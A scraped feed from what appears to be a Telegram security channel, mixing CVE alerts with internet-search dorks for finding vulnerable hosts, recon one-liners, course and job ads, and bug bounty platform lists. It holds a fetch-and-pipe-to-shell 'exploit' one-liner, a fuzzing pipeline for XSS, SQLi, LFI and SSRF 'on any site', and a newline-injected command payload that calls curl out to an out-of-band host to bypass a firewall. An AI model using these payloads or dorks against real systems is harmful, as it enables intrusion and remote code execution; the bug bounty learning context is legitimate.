CVE-2025-2294: Path Traversal in Kubio WordPress plugin, 9.8 rating 🔥
A vulnerability found in a popular plugin allows unauthenticated attackers to execute any code in PHP files on the server.
Search at Netlas.io:
👉 Link: https://nt.ls/iOqr6
👉 Dork: http.body:"plugins/kubio"
Read more: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kubio/kubio-ai-page-builder-251-unauthenticated-local-file-inclusion
A vulnerability found in a popular plugin allows unauthenticated attackers to execute any code in PHP files on the server.
Search at Netlas.io:
👉 Link: https://nt.ls/iOqr6
👉 Dork: http.body:"plugins/kubio"
Read more: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kubio/kubio-ai-page-builder-251-unauthenticated-local-file-inclusion
👍6🔥3
💥CVE-20250401 - 7350pipe - Linux Privilege Escalation (all versions). Exploit (1-liner):
“. <(curl -SsfL https://thc.org/7350pipe)”
🤣29🗿14😁2❤1
🔥 Discover Web Vulns Like a Pro! 🔥
Want to hunt XSS, SQLi, LFI, and SSRF on any site? Here’s a killer one-liner I’ve been using:
What’s it do?
1️⃣ Grabs URLs: gau digs up every URL for target.com from the web’s archives.
2️⃣ Finds Weak Spots: gf filters for params ripe for hacking (XSS, SQLi, etc.).
3️⃣ Sets the Trap: qsreplace swaps values with FUZZ for testing.
4️⃣ Fuzzes Hard: ffuf blasts payloads from my custom lists—XSS popups, file leaks, you name it!
5️⃣ Saves the Loot: Results land in param_vulns.txt for you to exploit.
💡 Pro Tip: Add -t 50 to ffuf for speed, or -fc 404 to skip dead ends. Test responsibly!
Curious about hacking tricks like this? Join my crew at https://discord.gg/u7uMFV833h for more tools, tips, and chaos. Dr
Want to hunt XSS, SQLi, LFI, and SSRF on any site? Here’s a killer one-liner I’ve been using:
gau target.com | gf xss,lfi,sqli,ssrf | qsreplace FUZZ | ffuf -u FUZZ -w payloads/xss.txt,payloads/lfi.txt,payloads/sqli.txt,payloads/ssrf.txt -fr "FUZZ" | tee param_vulns.txt
What’s it do?
1️⃣ Grabs URLs: gau digs up every URL for target.com from the web’s archives.
2️⃣ Finds Weak Spots: gf filters for params ripe for hacking (XSS, SQLi, etc.).
3️⃣ Sets the Trap: qsreplace swaps values with FUZZ for testing.
4️⃣ Fuzzes Hard: ffuf blasts payloads from my custom lists—XSS popups, file leaks, you name it!
5️⃣ Saves the Loot: Results land in param_vulns.txt for you to exploit.
💡 Pro Tip: Add -t 50 to ffuf for speed, or -fc 404 to skip dead ends. Test responsibly!
Curious about hacking tricks like this? Join my crew at https://discord.gg/u7uMFV833h for more tools, tips, and chaos. Dr
👍19❤8🗿8
CVE-2025-3083, -3084, -3085: Vulnerabilities in MongoDB, 6.5 - 8.1 rating❗️
Vulnerabilities in some versions of MongoDB allow attackers to perform DoS and gain unauthorized access using revoked certificates.
Search at Netlas.io:
👉 Link: https://nt.ls/aqCrV
👉 Dork: mongodb.build_info.version:[6.0.0 TO 6.0.20] OR mongodb.build_info.version:[5.0.0 TO 5.0.31] OR mongodb.build_info.version:[7.0.0 TO 7.0.16]
Vendor's advisory: https://jira.mongodb.org/browse/SERVER-95445
Vulnerabilities in some versions of MongoDB allow attackers to perform DoS and gain unauthorized access using revoked certificates.
Search at Netlas.io:
👉 Link: https://nt.ls/aqCrV
👉 Dork: mongodb.build_info.version:[6.0.0 TO 6.0.20] OR mongodb.build_info.version:[5.0.0 TO 5.0.31] OR mongodb.build_info.version:[7.0.0 TO 7.0.16]
Vendor's advisory: https://jira.mongodb.org/browse/SERVER-95445
👍3
Freelance Security Analyst for CTF Challenge
Job Type: Freelance | Remote | Short-term
We need an experienced cybersecurity professional to assist with a CTF challenge. Must be skilled in:
✔ Web Exploitation, Reverse Engineering, Cryptography, Forensics, OSINT
✔ CTF platforms (Hack The Box, TryHackMe, PicoCTF, etc.)
✔ Tools like Burp Suite, Wireshark, Ghidra, IDA Pro, Metasploit
✔ Ethical hacking & exploit development (OSCP, CEH preferred)
📩 Send your resume to [email protected] or WhatsApp +91-8016167754.
Let’s solve this challenge together!
Job Type: Freelance | Remote | Short-term
We need an experienced cybersecurity professional to assist with a CTF challenge. Must be skilled in:
✔ Web Exploitation, Reverse Engineering, Cryptography, Forensics, OSINT
✔ CTF platforms (Hack The Box, TryHackMe, PicoCTF, etc.)
✔ Tools like Burp Suite, Wireshark, Ghidra, IDA Pro, Metasploit
✔ Ethical hacking & exploit development (OSCP, CEH preferred)
📩 Send your resume to [email protected] or WhatsApp +91-8016167754.
Let’s solve this challenge together!
👍15❤6
Brut Security pinned «Freelance Security Analyst for CTF Challenge Job Type: Freelance | Remote | Short-term We need an experienced cybersecurity professional to assist with a CTF challenge. Must be skilled in: ✔ Web Exploitation, Reverse Engineering, Cryptography, Forensics…»
Use TLSx to detect certificate misconfigurations 🔍
Use this command to check for expired, self-signed, mismatched, revoked AND untrusted certificates👇
Use this command to check for expired, self-signed, mismatched, revoked AND untrusted certificates
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥46👍2
A simple Python script to scan multiple targets for SQL Injection via HTTP headers like User-Agent, X-Forwarded-For, and X-Client-IP.
https://github.com/ifconfig-me/SQLi-Scanner
👍28🔥7❤3🤝2
CVE-2025-22457: RCE in Ivanti Connect Secure, 9.0 rating 🔥
A buffer overflow in Ivanti Connect Secure allows an unauthenticated attacker to perform remote code execution.
Search at Netlas.io:
👉 Link: https://nt.ls/zsWig
👉 Dork: http.body:"welcome.cgi?p=logo"
Vendor's advisory: https://forums.ivanti.com/s/article/April-Security-Advisory-Ivanti-Connect-Secure-Policy-Secure-ZTA-Gateways-CVE-2025-22457?language=en_US
A buffer overflow in Ivanti Connect Secure allows an unauthenticated attacker to perform remote code execution.
Search at Netlas.io:
👉 Link: https://nt.ls/zsWig
👉 Dork: http.body:"welcome.cgi?p=logo"
Vendor's advisory: https://forums.ivanti.com/s/article/April-Security-Advisory-Ivanti-Connect-Secure-Policy-Secure-ZTA-Gateways-CVE-2025-22457?language=en_US
❤5👍3
🔥 Web Pentesting & Bug Bounty Batch – Starting April!
Master Web Penetration Testing with a Bug Bounty Approach in our new batch starting this April! Learn real-world attack scenarios, exploitation techniques, and defense strategies.
✅ Weekday & Weekend Batches – Evening Slots (IST)
✅ Hands-on Labs & Live Automations
✅ Bug Bounty Methodologies & Practical Hunting
✅ Community Support & Private POC Access
📩 Limited slots! Enroll now and take your hacking skills to the next level.
📱 DM https://wa.link/brutsecurity for details! (https://wa.me/+918945971332)
Master Web Penetration Testing with a Bug Bounty Approach in our new batch starting this April! Learn real-world attack scenarios, exploitation techniques, and defense strategies.
✅ Weekday & Weekend Batches – Evening Slots (IST)
✅ Hands-on Labs & Live Automations
✅ Bug Bounty Methodologies & Practical Hunting
✅ Community Support & Private POC Access
📩 Limited slots! Enroll now and take your hacking skills to the next level.
📱 DM https://wa.link/brutsecurity for details! (https://wa.me/+918945971332)
👍5❤1
https://github.com/musana/CF-Hero
Please open Telegram to view this post
VIEW IN TELEGRAM
❤11🔥8🗿4
domains.txt
836.9 KB
🌀Download all bug bounty programs domains in scope items 🎯
😉Get a full list of domains from active bug bounty programs across platforms like HackerOne, Bugcrowd, Intigriti, and more – all in one place!💥
👇🏼Step 1: Download the domains.txt file
📂step 2: Extract only main/root domains
`cat domains.txt | awk -F '.' '{print $(NF-1)"."$NF}' | grep -Eo '([a-zA-Z0-9-]+\.)+[a-zA-Z]{2,}' | sort -u > main_domains`
📂Step 3: Extract all IP addresses:
`grep -Eo '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' domains.txt > ips.txt`
Don't forget to give reactions❤️
😉Get a full list of domains from active bug bounty programs across platforms like HackerOne, Bugcrowd, Intigriti, and more – all in one place!💥
👇🏼Step 1: Download the domains.txt file
📂step 2: Extract only main/root domains
`cat domains.txt | awk -F '.' '{print $(NF-1)"."$NF}' | grep -Eo '([a-zA-Z0-9-]+\.)+[a-zA-Z]{2,}' | sort -u > main_domains`
📂Step 3: Extract all IP addresses:
`grep -Eo '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' domains.txt > ips.txt`
Don't forget to give reactions❤️
🔥27👍12❤11
🔥Top 25 Bug Bounty Platform 💰
01. Bugcrowd
02. HackerOne
03. Intigriti
04. YesWeHack
05. Synack, Inc.
06. HackenProof | Web3 bug bounty platform
07. Open Bug Bounty
08. Immunefi
09. Cobalt
10. Zerocopter
11. Yogosha
12. SafeHats
13. Vulnerability Research Labs, LLC
14. AntiHACKme Pte Ltd
15. RedStorm Information Security
16. Cyber Army Indonesia
17. Hacktrophy
18. Nordic Defender
19. Capture The Bug
20. Bugbounter
21. Detectify
22. BugBase
23. huntr
24. Pentabug
25. SecureBug
Happy Hunt ❤️
01. Bugcrowd
02. HackerOne
03. Intigriti
04. YesWeHack
05. Synack, Inc.
06. HackenProof | Web3 bug bounty platform
07. Open Bug Bounty
08. Immunefi
09. Cobalt
10. Zerocopter
11. Yogosha
12. SafeHats
13. Vulnerability Research Labs, LLC
14. AntiHACKme Pte Ltd
15. RedStorm Information Security
16. Cyber Army Indonesia
17. Hacktrophy
18. Nordic Defender
19. Capture The Bug
20. Bugbounter
21. Detectify
22. BugBase
23. huntr
24. Pentabug
25. SecureBug
Happy Hunt ❤️
🔥23👍7❤1
🔥Never forget to check for blind RCE!💥
I was testing a login panel and had a gut feeling the username field might be vulnerable. I tried some classic payloads like:
;id | whoami & uname
But... firewall detected and blocked them all.
Even when I tried curl or ping for blind RCE — still blocked.
Then I thought: maybe the WAF is only scanning the first line of the input? So why not try a little trick?
Payload idea: Inject a newline before the actual payload:
attacker'%0acurl https://tluxnubdqopuwecbljrj5i6tot8ddd64b.oast.fun
(Use %0a for newline — URL encoded)
And boom — Blind RCE triggered! My server got the hit instantly.
Cybersecurity isn’t about effort — it’s about mindset. Deep thinking always wins over brute force.❤️
DarkShadow
I was testing a login panel and had a gut feeling the username field might be vulnerable. I tried some classic payloads like:
;id | whoami & uname
But... firewall detected and blocked them all.
Even when I tried curl or ping for blind RCE — still blocked.
Then I thought: maybe the WAF is only scanning the first line of the input? So why not try a little trick?
Payload idea: Inject a newline before the actual payload:
attacker'%0acurl https://tluxnubdqopuwecbljrj5i6tot8ddd64b.oast.fun
(Use %0a for newline — URL encoded)
And boom — Blind RCE triggered! My server got the hit instantly.
Cybersecurity isn’t about effort — it’s about mindset. Deep thinking always wins over brute force.❤️
DarkShadow
❤34👍9🔥7🐳3